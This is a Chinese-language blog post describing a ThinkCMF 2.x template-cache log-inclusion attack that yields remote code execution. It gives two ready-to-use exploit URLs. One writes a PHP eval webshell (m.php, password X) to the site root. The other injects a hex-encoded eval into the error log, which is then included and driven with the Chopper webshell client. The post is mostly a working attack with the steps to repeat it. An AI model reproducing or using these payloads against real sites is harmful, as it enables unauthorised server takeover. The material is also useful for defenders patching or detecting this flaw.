Loading


目录
  1. 1. 测试成功的环境
    1. 1.1. Linux
    2. 1.2. Windwos
    3. 1.3. Payload1:
    4. 1.4. Payload2:
ThinkCMF缓存getshell

前一阵子接到个项目,目标站是thinkCMF2.X搭建的,试过网上很多方法无法拿下,本地搭了个环境测试了下,最终成功拿下

由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为data/runtime/Logs/Portal/19_12_12.log

测试成功的环境

Linux

  • 宝塔[PHP7.2]

Windwos

  • PHPstudy PHP7.1

Payload1:

首先访问http://target.domain/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

image-20200110232754375

然后请求http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

image-20200110232929112

即可在http://target.domain/根目录生成m.php,密码是X

image-20200110233013338

Payload2:

首先访问http://target.domain/?a=display&templateFile=%3C%3F%70%68%70%20%65%76%61%6C%28%24%5F%50%4F%53%54%5BX%5D%29%3B%3F%3E

然后菜刀连接http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log,密码同样是X

文章作者: Sp4ce
文章链接: https://0x20h.com/p/7506.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sp4ce's Blog

评论